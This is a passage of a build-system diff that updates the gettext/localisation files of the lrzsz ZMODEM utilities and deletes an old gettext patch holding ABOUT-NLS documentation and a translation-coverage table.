+ msgid "this program was never intended to be used setuid\n"
+ msgstr ""
+
+@@ -120,14 +123,15 @@ msgid "need at least one file to send"
+ msgstr ""
+
+ #: src/lsz.c:628
++#, c-format
+ msgid "Can't send command in restricted mode\n"
+ msgstr ""
+
+-#: src/lrz.c:524 src/lsz.c:655
++#: src/lsz.c:655 src/lrz.c:524
+ msgid "hostname too long\n"
+ msgstr ""
+
+-#: src/lrz.c:539 src/lsz.c:670
++#: src/lsz.c:670 src/lrz.c:539
+ msgid "illegal server address\n"
+ msgstr ""
+
+@@ -135,11 +139,11 @@ msgstr ""
+ msgid "can read only one file from stdin"
+ msgstr ""
+
+-#: src/lrz.c:571 src/lsz.c:806
++#: src/lsz.c:806 src/lrz.c:571
+ msgid "Transfer incomplete\n"
+ msgstr ""
+
+-#: src/lrz.c:573 src/lsz.c:808
++#: src/lsz.c:808 src/lrz.c:573
+ msgid "Transfer complete\n"
+ msgstr ""
+
+@@ -199,7 +203,7 @@ msgstr ""
+ msgid "security violation: not allowed to upload from %s"
+ msgstr ""
+
+-#: src/lrz.c:1392 src/lsz.c:1046
++#: src/lsz.c:1046 src/lrz.c:1392
+ #, c-format
+ msgid "cannot open %s"
+ msgstr ""
+@@ -290,12 +294,12 @@ msgstr ""
+ msgid "Retry Count Exceeded"
+ msgstr ""
+
+-#: src/lrz.c:593 src/lsz.c:1521
++#: src/lsz.c:1521 src/lrz.c:593
+ #, c-format
+ msgid "Try `%s --help' for more information.\n"
+ msgstr ""
+
+-#: src/lrz.c:598 src/lsz.c:1526
++#: src/lsz.c:1526 src/lrz.c:598
+ #, c-format
+ msgid "%s version %s\n"
+ msgstr ""
+@@ -314,7 +318,7 @@ msgstr ""
+ msgid "Send file(s) with ZMODEM/YMODEM/XMODEM protocol\n"
+ msgstr ""
+
+-#: src/lrz.c:604 src/lsz.c:1534
++#: src/lsz.c:1534 src/lrz.c:604
+ msgid ""
+ " (X) = option applies to XMODEM only\n"
+ " (Y) = option applies to YMODEM only\n"
+@@ -378,7 +382,7 @@ msgstr ""
+ msgid "got ZRQINIT"
+ msgstr ""
+
+-#: src/lrz.c:1074 src/lrz.c:1787 src/lsz.c:1792
++#: src/lsz.c:1792 src/lrz.c:1074 src/lrz.c:1787
+ msgid "got ZCAN"
+ msgstr ""
+
+@@ -438,6 +442,10 @@ msgid ""
+ "countem: Total %d %ld\n"
+ msgstr ""
+
++#: src/zm.c:91
++msgid "Bad CRC"
++msgstr ""
++
+ #: src/zm.c:244
+ #, c-format
+ msgid "Bad escape sequence %x"
+@@ -447,7 +455,7 @@ msgstr ""
+ msgid "Sender Canceled"
+ msgstr ""
+
+-#: src/lrz.c:997 src/zm.c:585 src/zm.c:644
++#: src/zm.c:585 src/zm.c:644 src/lrz.c:997
+ msgid "TIMEOUT"
+ msgstr ""
+
+@@ -678,13 +686,11 @@ msgstr ""
+ msgid "Skipped"
+ msgstr ""
+
+-#. too bad
+ #: src/lrz.c:2064
+ #, c-format
+ msgid "rzfile: bps rate %ld below min %ld"
+ msgstr ""
+
+-#. too bad
+ #: src/lrz.c:2079
+ msgid "rzfile: reached stop time"
+ msgstr ""
+diff -uprN clean/lrzsz-0.12.20/po/Makevars lrzsz-0.12.20/po/Makevars
+--- clean/lrzsz-0.12.20/po/Makevars 1970-01-01 01:00:00.000000000 +0100
++++ lrzsz-0.12.20/po/Makevars 2019-11-25 18:09:52.000000000 +0000
+@@ -0,0 +1,78 @@
++# Makefile variables for PO directory in any package using GNU gettext.
++
++# Usually the message domain is the same as the package name.
++DOMAIN = $(PACKAGE)
++
++# These two variables depend on the location of this directory.
++subdir = po
++top_builddir = ..
++
++# These options get passed to xgettext.
++XGETTEXT_OPTIONS = --keyword=_ --keyword=N_
++
++# This is the copyright holder that gets inserted into the header of the
++# $(DOMAIN).pot file. Set this to the copyright holder of the surrounding
++# package. (Note that the msgstr strings, extracted from the package's
++# sources, belong to the copyright holder of the package.) Translators are
++# expected to transfer the copyright for their translations to this person
++# or entity, or to disclaim their copyright. The empty string stands for
++# the public domain; in this case the translators are expected to disclaim
++# their copyright.
++COPYRIGHT_HOLDER = Free Software Foundation, Inc.
++
++# This tells whether or not to prepend "GNU " prefix to the package
++# name that gets inserted into the header of the $(DOMAIN).pot file.
++# Possible values are "yes", "no", or empty. If it is empty, try to
++# detect it automatically by scanning the files in $(top_srcdir) for
++# "GNU packagename" string.
++PACKAGE_GNU =
++
++# This is the email address or URL to which the translators shall report
++# bugs in the untranslated strings:
++# - Strings which are not entire sentences, see the maintainer guidelines
++# in the GNU gettext documentation, section 'Preparing Strings'.
++# - Strings which use unclear terms or require additional context to be
++# understood.
++# - Strings which make invalid assumptions about notation of date, time or
++# money.
++# - Pluralisation problems.
++# - Incorrect English spelling.
++# - Incorrect formatting.
++# It can be your email address, or a mailing list address where translators
++# can write to without being subscribed, or the URL of a web page through
++# which the translators can contact you.
++MSGID_BUGS_ADDRESS =
++
++# This is the list of locale categories, beyond LC_MESSAGES, for which the
++# message catalogs shall be used. It is usually empty.
++EXTRA_LOCALE_CATEGORIES =
++
++# This tells whether the $(DOMAIN).pot file contains messages with an 'msgctxt'
++# context. Possible values are "yes" and "no". Set this to yes if the
++# package uses functions taking also a message context, like pgettext(), or
++# if in $(XGETTEXT_OPTIONS) you define keywords with a context argument.
++USE_MSGCTXT = no
++
++# These options get passed to msgmerge.
++# Useful options are in particular:
++# --previous to keep previous msgids of translated messages,
++# --quiet to reduce the verbosity.
++MSGMERGE_OPTIONS =
++
++# These options get passed to msginit.
++# If you want to disable line wrapping when writing PO files, add
++# --no-wrap to MSGMERGE_OPTIONS, XGETTEXT_OPTIONS, and
++# MSGINIT_OPTIONS.
++MSGINIT_OPTIONS =
++
++# This tells whether or not to regenerate a PO file when $(DOMAIN).pot
++# has changed. Possible values are "yes" and "no". Set this to no if
++# the POT file is checked in the repository and the version control
++# program ignores timestamps.
++PO_DEPENDS_ON_POT = yes
++
++# This tells whether or not to forcibly update $(DOMAIN).pot and
++# regenerate PO files on "make dist". Possible values are "yes" and
++# "no". Set this to no if the POT file and PO files are maintained
++# externally.
++DIST_DEPENDS_ON_UPDATE_PO = yes
+diff -uprN clean/lrzsz-0.12.20/po/stamp-cat-id lrzsz-0.12.20/po/stamp-cat-id
+--- clean/lrzsz-0.12.20/po/stamp-cat-id 1998-12-30 07:50:01.000000000 +0000
++++ lrzsz-0.12.20/po/stamp-cat-id 1970-01-01 01:00:00.000000000 +0100
+@@ -1 +0,0 @@
+-timestamp
+diff -uprN clean/lrzsz-0.12.20/po/stamp-po lrzsz-0.12.20/po/stamp-po
+--- clean/lrzsz-0.12.20/po/stamp-po 1970-01-01 01:00:00.000000000 +0100
++++ lrzsz-0.12.20/po/stamp-po 2019-11-26 11:42:09.000000000 +0000
+@@ -0,0 +1 @@
++timestamp
+diff -uprN clean/lrzsz-0.12.20/src/Makefile.am lrzsz-0.12.20/src/Makefile.am
+--- clean/lrzsz-0.12.20/src/Makefile.am 1998-12-28 08:38:47.000000000 +0000
++++ lrzsz-0.12.20/src/Makefile.am 2019-11-25 16:22:49.000000000 +0000
+@@ -2,13 +2,11 @@ bin_PROGRAMS=lrz lsz
+ lrz_SOURCES=lrz.c timing.c zperr.c zreadline.c crctab.c rbsb.c zm.c protname.c tcp.c lsyslog.c canit.c
+ lsz_SOURCES=lsz.c timing.c zperr.c zreadline.c crctab.c rbsb.c zm.c protname.c tcp.c lsyslog.c canit.c
+ noinst_HEADERS = timing.h zglobal.h zmodem.h
+-datadir = $(prefix)/@DATADIRNAME@
++datadir = $(prefix)/share
+ localedir = $(datadir)/locale
+-CFLAGS=@CFLAGS@
+ DISTCLEAN_FILES=lrzszbug
+
+-LDADD = ../lib/libzmodem.a @INTLLIBS@
+-AUTOMAKE_OPTIONS=ansi2knr
++LDADD = ../lib/libzmodem.a @LIBINTL@
+ EXTRA_DIST = ansi2knr.1 ansi2knr.c lrzszbug.in
+ INCLUDES = -I.. -I$(srcdir) -I$(top_srcdir)/src -I../intl -I$(top_srcdir)/lib
+ #DEFS = -DLOCALEDIR=\"$(localedir)\" -DOS=\"@host_os@\" -DCPU=\"@host_cpu@\"
+diff -uprN clean/lrzsz-0.12.20/src/zglobal.h lrzsz-0.12.20/src/zglobal.h
+--- clean/lrzsz-0.12.20/src/zglobal.h 1998-12-29 12:34:59.000000000 +0000
++++ lrzsz-0.12.20/src/zglobal.h 2019-11-25 16:32:42.000000000 +0000
+@@ -180,9 +180,6 @@ struct termios;
+ #if HAVE_LOCALE_H
+ # include <locale.h>
+ #endif
+-#if !HAVE_SETLOCALE
+-# define setlocale(Category, Locale) /* empty */
+-#endif
+
+ #if ENABLE_NLS
+ # include <libintl.h>
+diff -uprN clean/lrzsz-0.12.20/stamp-h.in lrzsz-0.12.20/stamp-h.in
+--- clean/lrzsz-0.12.20/stamp-h.in 1998-12-30 07:51:07.000000000 +0000
++++ lrzsz-0.12.20/stamp-h.in 1970-01-01 01:00:00.000000000 +0100
+@@ -1 +0,0 @@
+-timestamp
diff --git a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/gettext.patch b/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/gettext.patch
deleted file mode 100644
index 1a24a1f05e..0000000000
--- a/meta/recipes-bsp/lrzsz/lrzsz-0.12.20/gettext.patch
+++ /dev/null
@@ -1,21884 +0,0 @@
-Upstream-Status: Inappropriate [configuration]
-
---- lrzsz-0.12.20.safe/ABOUT-NLS 1998-04-26 09:22:30.000000000 -0400
-+++ lrzsz-0.12.20/ABOUT-NLS 2004-09-12 14:40:34.323752952 -0400
-@@ -1,14 +1,14 @@
- Notes on the Free Translation Project
- *************************************
-
-- Free software is going international! The Free Translation Project
--is a way to get maintainers of free software, translators, and users all
-+Free software is going international! The Free Translation Project is
-+a way to get maintainers of free software, translators, and users all
- together, so that will gradually become able to speak many languages.
- A few packages already provide translations for their messages.
-
- If you found this `ABOUT-NLS' file inside a distribution, you may
- assume that the distributed package does use GNU `gettext' internally,
--itself available at your nearest GNU archive site. But you do *not*
-+itself available at your nearest GNU archive site. But you do _not_
- need to install GNU `gettext' prior to configuring, installing or using
- this package with messages translated.
-
-@@ -22,10 +22,10 @@
- `gettext' which is used. The information can be found in the
- `intl/VERSION' file, in internationalized packages.
-
--One advise in advance
--=====================
-+Quick configuration advice
-+==========================
-
-- If you want to exploit the full power of internationalization, you
-+If you want to exploit the full power of internationalization, you
- should configure it using
-
- ./configure --with-included-gettext
-@@ -34,42 +34,40 @@
- package, despite the existence of internationalizing capabilities in the
- operating system where this package is being installed. So far, only
- the `gettext' implementation in the GNU C library version 2 provides as
--many features (such as locale alias or message inheritance) as the
--implementation here. It is also not possible to offer this additional
--functionality on top of a `catgets' implementation. Future versions of
--GNU `gettext' will very likely convey even more functionality. So it
--might be a good idea to change to GNU `gettext' as soon as possible.
-+many features (such as locale alias, message inheritance, automatic
-+charset conversion or plural form handling) as the implementation here.
-+It is also not possible to offer this additional functionality on top
-+of a `catgets' implementation. Future versions of GNU `gettext' will
-+very likely convey even more functionality. So it might be a good idea
-+to change to GNU `gettext' as soon as possible.
-
-- So you need not provide this option if you are using GNU libc 2 or
-+ So you need _not_ provide this option if you are using GNU libc 2 or
- you have installed a recent copy of the GNU gettext package with the
- included `libintl'.
-
- INSTALL Matters
- ===============
-
-- Some packages are "localizable" when properly installed; the
--programs they contain can be made to speak your own native language.
--Most such packages use GNU `gettext'. Other packages have their own
--ways to internationalization, predating GNU `gettext'.
-+Some packages are "localizable" when properly installed; the programs
-+they contain can be made to speak your own native language. Most such
-+packages use GNU `gettext'. Other packages have their own ways to
-+internationalization, predating GNU `gettext'.
-
- By default, this package will be installed to allow translation of
--messages. It will automatically detect whether the system provides
--usable `catgets' (if using this is selected by the installer) or
--`gettext' functions. If neither is available, the GNU `gettext' own
-+messages. It will automatically detect whether the system already
-+provides the GNU `gettext' functions. If not, the GNU `gettext' own
- library will be used. This library is wholly contained within this
- package, usually in the `intl/' subdirectory, so prior installation of
--the GNU `gettext' package is *not* required. Installers may use
-+the GNU `gettext' package is _not_ required. Installers may use
- special options at configuration time for changing the default
- behaviour. The commands:
-
- ./configure --with-included-gettext
-- ./configure --with-catgets
- ./configure --disable-nls
-
--will respectively bypass any pre-existing `catgets' or `gettext' to use
--the internationalizing routines provided within this package, enable
--the use of the `catgets' functions (if found on the locale system), or
--else, *totally* disable translation of messages.
-+will respectively bypass any pre-existing `gettext' to use the
-+internationalizing routines provided within this package, or else,
-+_totally_ disable translation of messages.
-
- When you already have GNU `gettext' installed on your system and run
- configure without an option for your new package, `configure' will
-@@ -83,18 +81,10 @@
-
- to prevent auto-detection.
-
-- By default the configuration process will not test for the `catgets'
--function and therefore they will not be used. The reasons are already
--given above: the emulation on top of `catgets' cannot provide all the
--extensions provided by the GNU `gettext' library. If you nevertheless
--want to use the `catgets' functions use
--
-- ./configure --with-catgets
--
--to enable the test for `catgets' (this causes no harm if `catgets' is
--not available on your system). If you really select this option we
--would like to hear about the reasons because we cannot think of any
--good one ourself.
-+ The configuration process will not test for the `catgets' function
-+and therefore it will not be used. The reason is that even an
-+emulation of `gettext' on top of `catgets' could not provide all the
-+extensions of the GNU `gettext' library.
-
- Internationalized packages have usually many `po/LL.po' files, where
- LL gives an ISO 639 two-letter code identifying the language. Unless
-@@ -108,57 +98,73 @@
- Using This Package
- ==================
-
-- As a user, if your language has been installed for this package, you
-+As a user, if your language has been installed for this package, you
- only have to set the `LANG' environment variable to the appropriate
--ISO 639 `LL' two-letter code prior to using the programs in the
--package. For example, let's suppose that you speak German. At the
--shell prompt, merely execute `setenv LANG de' (in `csh'),
--`export LANG; LANG=de' (in `sh') or `export LANG=de' (in `bash'). This
--can be done from your `.login' or `.profile' file, once and for all.
-+`LL_CC' combination. Here `LL' is an ISO 639 two-letter language code,
-+and `CC' is an ISO 3166 two-letter country code. For example, let's
-+suppose that you speak German and live in Germany. At the shell
-+prompt, merely execute `setenv LANG de_DE' (in `csh'),
-+`export LANG; LANG=de_DE' (in `sh') or `export LANG=de_DE' (in `bash').
-+This can be done from your `.login' or `.profile' file, once and for
-+all.
-
-- An operating system might already offer message localization for
--many of its programs, while other programs have been installed locally
--with the full capabilities of GNU `gettext'. Just using `gettext'
--extended syntax for `LANG' would break proper localization of already
--available operating system programs. In this case, users should set
--both `LANGUAGE' and `LANG' variables in their environment, as programs
--using GNU `gettext' give preference to `LANGUAGE'. For example, some
--Swedish users would rather read translations in German than English for
--when Swedish is not available. This is easily accomplished by setting
--`LANGUAGE' to `sv:de' while leaving `LANG' to `sv'.
-+ You might think that the country code specification is redundant.
-+But in fact, some languages have dialects in different countries. For
-+example, `de_AT' is used for Austria, and `pt_BR' for Brazil. The
-+country code serves to distinguish the dialects.
-+
-+ The locale naming convention of `LL_CC', with `LL' denoting the
-+language and `CC' denoting the country, is the one use on systems based
-+on GNU libc. On other systems, some variations of this scheme are
-+used, such as `LL' or `LL_CC.ENCODING'. You can get the list of
-+locales supported by your system for your country by running the command
-+`locale -a | grep '^LL''.
-+
-+ Not all programs have translations for all languages. By default, an
-+English message is shown in place of a nonexistent translation. If you
-+understand other languages, you can set up a priority list of languages.
-+This is done through a different environment variable, called
-+`LANGUAGE'. GNU `gettext' gives preference to `LANGUAGE' over `LANG'
-+for the purpose of message handling, but you still need to have `LANG'
-+set to the primary language; this is required by other parts of the
-+system libraries. For example, some Swedish users who would rather
-+read translations in German than English for when Swedish is not
-+available, set `LANGUAGE' to `sv:de' while leaving `LANG' to `sv_SE'.
-+
-+ Special advice for Norwegian users: The language code for Norwegian
-+bokma*l changed from `no' to `nb' recently (in 2003). During the
-+transition period, while some message catalogs for this language are
-+installed under `nb' and some older ones under `no', it's recommended
-+for Norwegian users to set `LANGUAGE' to `nb:no' so that both newer and
-+older translations are used.
-+
-+ In the `LANGUAGE' environment variable, but not in the `LANG'
-+environment variable, `LL_CC' combinations can be abbreviated as `LL'
-+to denote the language's main dialect. For example, `de' is equivalent
-+to `de_DE' (German as spoken in Germany), and `pt' to `pt_PT'
-+(Portuguese as spoken in Portugal) in this context.
-
- Translating Teams
- =================
-
-- For the Free Translation Project to be a success, we need interested
-+For the Free Translation Project to be a success, we need interested
- people who like their own language and write it well, and who are also
- able to synergize with other translators speaking the same language.
--Each translation team has its own mailing list, courtesy of Linux
--International. You may reach your translation team at the address
--`LL@li.org', replacing LL by the two-letter ISO 639 code for your
--language. Language codes are *not* the same as the country codes given
--in ISO 3166. The following translation teams exist, as of August 1997:
--
-- Chinese `zh', Czech `cs', Danish `da', Dutch `nl', English `en',
-- Esperanto `eo', Finnish `fi', French `fr', German `de', Hungarian
-- `hu', Irish `ga', Italian `it', Indonesian `id', Japanese `ja',
-- Korean `ko', Latin `la', Norwegian `no', Persian `fa', Polish
-- `pl', Portuguese `pt', Russian `ru', Slovenian `sl', Spanish `es',
-- Swedish `sv', and Turkish `tr'.
--
--For example, you may reach the Chinese translation team by writing to
--`zh@li.org'.
-+Each translation team has its own mailing list. The up-to-date list of
-+teams can be found at the Free Translation Project's homepage,
-+`http://www.iro.umontreal.ca/contrib/po/HTML/', in the "National teams"
-+area.
-
-- If you'd like to volunteer to *work* at translating messages, you
-+ If you'd like to volunteer to _work_ at translating messages, you
- should become a member of the translating team for your own language.
--The subscribing address is *not* the same as the list itself, it has
-+The subscribing address is _not_ the same as the list itself, it has
- `-request' appended. For example, speakers of Swedish can send a
- message to `sv-request@li.org', having this message body:
-
- subscribe
-
- Keep in mind that team members are expected to participate
--*actively* in translations, or at solving translational difficulties,
-+_actively_ in translations, or at solving translational difficulties,
- rather than merely lurking around. If your team does not exist yet and
- you want to start one, or if you are unsure about what to do or how to
- get started, please write to `translation@iro.umontreal.ca' to reach the
-@@ -171,43 +177,559 @@
- Available Packages
- ==================
-
-- Languages are not equally supported in all packages. The following
--matrix shows the current state of internationalization, as of August
--1997. The matrix shows, in regard of each package, for which languages
--PO files have been submitted to translation coordination.
-+Languages are not equally supported in all packages. The following
-+matrix shows the current state of internationalization, as of January
-+2004. The matrix shows, in regard of each package, for which languages
-+PO files have been submitted to translation coordination, with a
-+translation percentage of at least 50%.
-
-- Ready PO files cs da de en es fi fr it ja ko nl no pl pt sl sv
-- .-------------------------------------------------.
-- bash | [] [] [] | 3
-- bison | [] [] [] | 3
-- clisp | [] [] [] [] | 4
-- cpio | [] [] [] [] [] | 5
-- diffutils | [] [] [] [] [] | 5
-- enscript | [] [] [] [] [] [] | 6
-- fileutils | [] [] [] [] [] [] [] [] [] [] | 10
-- findutils | [] [] [] [] [] [] [] [] | 8
-- flex | [] [] [] [] | 4
-- gcal | [] [] [] [] [] | 5
-- gettext | [] [] [] [] [] [] [] [] [] [] | 11
-- grep | [] [] [] [] [] [] [] [] [] | 9
-- hello | [] [] [] [] [] [] [] [] [] [] | 10
-- id-utils | [] [] [] | 3
-- indent | [] [] [] [] | 4
-- libc | [] [] [] [] [] [] [] | 7
-- m4 | [] [] [] [] [] | 5
-- make | [] [] [] [] [] [] | 6
-- music | [] [] | 2
-- ptx | [] [] [] [] [] [] [] [] | 8
-- recode | [] [] [] [] [] [] [] [] [] | 9
-- sh-utils | [] [] [] [] [] [] [] | 7
-- sharutils | [] [] [] [] [] | 5
-- tar | [] [] [] [] [] [] [] [] [] [] | 10
-- texinfo | [] | 1
-- textutils | [] [] [] [] [] [] [] [] [] | 9
-- wdiff | [] [] [] [] [] [] [] [] | 8
-- `-------------------------------------------------'
-- 16 languages cs da de en es fi fr it ja ko nl no pl pt sl sv
-- 27 packages 3 2 24 1 17 1 26 2 1 11 20 9 19 7 7 17 167
-+ Ready PO files af am ar az be bg bs ca cs da de el en en_GB eo es
-+ +----------------------------------------------------+
-+ a2ps | [] [] [] [] |
-+ aegis | () |
-+ ant-phone | () |
-+ anubis | |
-+ ap-utils | |
-+ aspell | [] |
-+ bash | [] [] [] [] |
-+ batchelor | |
-+ bfd | [] [] |
-+ binutils | [] [] |
-+ bison | [] [] [] |
-+ bluez-pin | [] [] [] |
-+ clisp | |
-+ clisp | [] [] [] |
-+ console-tools | [] [] |
-+ coreutils | [] [] [] [] |
-+ cpio | [] [] [] |
-+ darkstat | [] () [] |
-+ diffutils | [] [] [] [] [] [] [] |
-+ e2fsprogs | [] [] [] |
-+ enscript | [] [] [] [] |
-+ error | [] [] [] [] [] |
-+ fetchmail | [] () [] [] [] [] |
-+ fileutils | [] [] [] |
-+ findutils | [] [] [] [] [] [] [] |
-+ flex | [] [] [] [] |
-+ fslint | |
-+ gas | [] |
-+ gawk | [] [] [] [] |
-+ gbiff | [] |
-+ gcal | [] |
-+ gcc | [] [] |
-+ gettext | [] [] [] [] [] |
-+ gettext-examples | [] [] [] [] |
-+ gettext-runtime | [] [] [] [] [] |
-+ gettext-tools | [] [] [] |
-+ gimp-print | [] [] [] [] [] |
-+ gliv | |
-+ glunarclock | [] [] |
-+ gnubiff | [] |
-+ gnucash | [] () [] [] |
-+ gnucash-glossary | [] () [] |
-+ gnupg | [] () [] [] [] [] |
-+ gpe-aerial | [] |
-+ gpe-beam | [] [] |
-+ gpe-calendar | [] [] |
-+ gpe-clock | [] [] |
-+ gpe-conf | [] [] |
-+ gpe-contacts | [] [] |
-+ gpe-edit | [] |
-+ gpe-go | [] |
-+ gpe-login | [] [] |
-+ gpe-ownerinfo | [] [] |
-+ gpe-sketchbook | [] [] |
-+ gpe-su | [] [] |
-+ gpe-taskmanager | [] [] |
-+ gpe-timesheet | [] |
-+ gpe-today | [] [] |
-+ gpe-todo | [] [] |
-+ gphoto2 | [] [] [] [] |
-+ gprof | [] [] [] |
-+ gpsdrive | () () () |
-+ gramadoir | [] |
-+ grep | [] [] [] [] [] [] |
-+ gretl | [] |
-+ gtick | [] () |
-+ hello | [] [] [] [] [] [] |
-+ id-utils | [] [] |
-+ indent | [] [] [] [] |
-+ iso_3166 | [] [] [] [] [] [] [] [] [] [] |
-+ iso_3166_1 | [] [] [] [] [] [] |
-+ iso_3166_2 | |
-+ iso_3166_3 | [] |
-+ iso_4217 | [] [] [] [] |
-+ iso_639 | |
-+ jpilot | [] [] [] |
-+ jtag | |
-+ jwhois | [] |
-+ kbd | [] [] [] [] [] |
-+ latrine | () |
-+ ld | [] [] |
-+ libc | [] [] [] [] [] [] |
-+ libgpewidget | [] [] |
-+ libiconv | [] [] [] [] [] |
-+ lifelines | [] () |
-+ lilypond | [] |
-+ lingoteach | |
-+ lingoteach_lessons | () () |
-+ lynx | [] [] [] [] |
-+ m4 | [] [] [] [] |
-+ mailutils | [] [] |
-+ make | [] [] [] |
-+ man-db | [] () [] [] () |
-+ minicom | [] [] [] |
-+ mysecretdiary | [] [] [] |
-+ nano | [] () [] [] [] |
-+ nano_1_0 | [] () [] [] [] |
-+ opcodes | [] |
-+ parted | [] [] [] [] [] |
-+ ptx | [] [] [] [] [] |
-+ python | |
-+ radius | [] |
-+ recode | [] [] [] [] [] [] [] |
-+ rpm | [] [] |
-+ screem | |
-+ scrollkeeper | [] [] [] [] [] [] |
-+ sed | [] [] [] [] [] [] |
-+ sh-utils | [] [] [] |
-+ shared-mime-info | |
-+ sharutils | [] [] [] [] [] [] |
-+ silky | () |
-+ skencil | [] () [] |
-+ sketch | [] () [] |
-+ soundtracker | [] [] [] |
-+ sp | [] |
-+ tar | [] [] [] [] |
-+ texinfo | [] [] [] |
-+ textutils | [] [] [] [] |
-+ tin | () () |
-+ tp-robot | |
-+ tuxpaint | [] [] [] [] [] [] [] |
-+ unicode-han-tra... | |
-+ unicode-transla... | |
-+ util-linux | [] [] [] [] [] |
-+ vorbis-tools | [] [] [] [] |
-+ wastesedge | () |
-+ wdiff | [] [] [] [] |
-+ wget | [] [] [] [] [] [] |
-+ xchat | [] [] [] [] |
-+ xfree86_xkb_xml | [] [] |
-+ xpad | [] |
-+ +----------------------------------------------------+
-+ af am ar az be bg bs ca cs da de el en en_GB eo es
-+ 4 0 0 1 9 4 1 40 41 60 78 17 1 5 13 68
-+
-+ et eu fa fi fr ga gl he hr hu id is it ja ko lg
-+ +-------------------------------------------------+
-+ a2ps | [] [] [] () () |
-+ aegis | |
-+ ant-phone | [] |
-+ anubis | [] |
-+ ap-utils | [] |
-+ aspell | [] [] |
-+ bash | [] [] |
-+ batchelor | [] [] |
-+ bfd | [] |
-+ binutils | [] [] |
-+ bison | [] [] [] [] |
-+ bluez-pin | [] [] [] [] [] |
-+ clisp | |
-+ clisp | [] |
-+ console-tools | |
-+ coreutils | [] [] [] [] [] [] |
-+ cpio | [] [] [] [] |
-+ darkstat | () [] [] [] |
-+ diffutils | [] [] [] [] [] [] [] |
-+ e2fsprogs | |
-+ enscript | [] [] |
-+ error | [] [] [] [] |
-+ fetchmail | [] |
-+ fileutils | [] [] [] [] [] [] |
-+ findutils | [] [] [] [] [] [] [] [] [] [] [] |
-+ flex | [] [] [] |
-+ fslint | [] |
-+ gas | [] |
-+ gawk | [] [] [] |
-+ gbiff | [] |
-+ gcal | [] |
-+ gcc | [] |
-+ gettext | [] [] [] |
-+ gettext-examples | [] [] |
-+ gettext-runtime | [] [] [] [] [] |
-+ gettext-tools | [] [] [] |
-+ gimp-print | [] [] |
-+ gliv | () |
-+ glunarclock | [] [] [] [] |
-+ gnubiff | [] |
-+ gnucash | () [] |
-+ gnucash-glossary | [] |
-+ gnupg | [] [] [] [] [] [] [] |
-+ gpe-aerial | [] |
-+ gpe-beam | [] |
-+ gpe-calendar | [] [] [] |
-+ gpe-clock | [] |
-+ gpe-conf | [] |
-+ gpe-contacts | [] [] |
-+ gpe-edit | [] [] |
-+ gpe-go | [] |
-+ gpe-login | [] [] |
-+ gpe-ownerinfo | [] [] [] |
-+ gpe-sketchbook | [] |
-+ gpe-su | [] |
-+ gpe-taskmanager | [] |
-+ gpe-timesheet | [] [] [] |
-+ gpe-today | [] [] |
-+ gpe-todo | [] [] |
-+ gphoto2 | [] [] [] |
-+ gprof | [] [] |
-+ gpsdrive | () () () |
-+ gramadoir | [] [] |
-+ grep | [] [] [] [] [] [] [] [] [] [] [] |
-+ gretl | [] [] |
-+ gtick | [] [] [] |
-+ hello | [] [] [] [] [] [] [] [] [] [] [] [] [] |
-+ id-utils | [] [] [] [] |
-+ indent | [] [] [] [] [] [] [] [] [] |
-+ iso_3166 | [] [] [] [] [] [] [] |
-+ iso_3166_1 | [] [] [] [] [] |
-+ iso_3166_2 | |
-+ iso_3166_3 | |
-+ iso_4217 | [] [] [] [] [] [] |
-+ iso_639 | |
-+ jpilot | [] () |
-+ jtag | [] |
-+ jwhois | [] [] [] [] |
-+ kbd | [] |
-+ latrine | [] |
-+ ld | [] |
-+ libc | [] [] [] [] [] [] |
-+ libgpewidget | [] [] [] [] |
-+ libiconv | [] [] [] [] [] [] [] [] [] |
-+ lifelines | () |
-+ lilypond | [] |
-+ lingoteach | [] [] |
-+ lingoteach_lessons | |
-+ lynx | [] [] [] [] |
-+ m4 | [] [] [] [] |
-+ mailutils | |
-+ make | [] [] [] [] [] [] |
-+ man-db | () () |
-+ minicom | [] [] [] [] |
-+ mysecretdiary | [] [] |
-+ nano | [] [] [] [] |
-+ nano_1_0 | [] [] [] [] |
-+ opcodes | [] |
-+ parted | [] [] [] |
-+ ptx | [] [] [] [] [] [] [] |
-+ python | |
-+ radius | [] |
-+ recode | [] [] [] [] [] [] |
-+ rpm | [] [] |
-+ screem | |
-+ scrollkeeper | [] |
-+ sed | [] [] [] [] [] [] [] [] [] |
-+ sh-utils | [] [] [] [] [] [] [] |
-+ shared-mime-info | [] [] [] |
-+ sharutils | [] [] [] [] [] |
-+ silky | () [] () () |
-+ skencil | [] |
-+ sketch | [] |
-+ soundtracker | [] [] |
-+ sp | [] () |
-+ tar | [] [] [] [] [] [] [] [] [] |
-+ texinfo | [] [] [] [] |
-+ textutils | [] [] [] [] [] [] |
-+ tin | [] () |
-+ tp-robot | [] |
-+ tuxpaint | [] [] [] [] [] [] [] [] [] |
-+ unicode-han-tra... | |
-+ unicode-transla... | [] [] |
-+ util-linux | [] [] [] [] () [] |
-+ vorbis-tools | [] |
-+ wastesedge | () |
-+ wdiff | [] [] [] [] [] [] |
-+ wget | [] [] [] [] [] [] [] |
-+ xchat | [] [] [] |
-+ xfree86_xkb_xml | [] [] |
-+ xpad | [] [] |
-+ +-------------------------------------------------+
-+ et eu fa fi fr ga gl he hr hu id is it ja ko lg
-+ 22 2 1 26 106 28 24 8 10 41 33 1 26 33 12 0
-+
-+ lt lv mk mn ms mt nb nl nn no nso pl pt pt_BR ro ru
-+ +-----------------------------------------------------+
-+ a2ps | [] [] () () [] [] [] |
-+ aegis | () () () |
-+ ant-phone | [] [] |
-+ anubis | [] [] [] [] [] [] |
-+ ap-utils | [] () [] |
-+ aspell | [] |
-+ bash | [] [] [] |
-+ batchelor | [] |
-+ bfd | [] |
-+ binutils | [] |
-+ bison | [] [] [] [] [] |
-+ bluez-pin | [] [] [] |
-+ clisp | |
-+ clisp | [] |
-+ console-tools | [] |
-+ coreutils | [] [] |
-+ cpio | [] [] [] [] [] |
-+ darkstat | [] [] [] [] |
-+ diffutils | [] [] [] [] [] [] |
-+ e2fsprogs | [] |
-+ enscript | [] [] [] [] |
-+ error | [] [] [] |
-+ fetchmail | [] [] () [] |
-+ fileutils | [] [] [] |
-+ findutils | [] [] [] [] [] |
-+ flex | [] [] [] [] |
-+ fslint | [] [] |
-+ gas | |
-+ gawk | [] [] [] |
-+ gbiff | [] [] |
-+ gcal | |
-+ gcc | |
-+ gettext | [] [] [] |
-+ gettext-examples | [] [] [] |
-+ gettext-runtime | [] [] [] [] |
-+ gettext-tools | [] [] |
-+ gimp-print | [] |
-+ gliv | [] [] [] |
-+ glunarclock | [] [] [] [] |
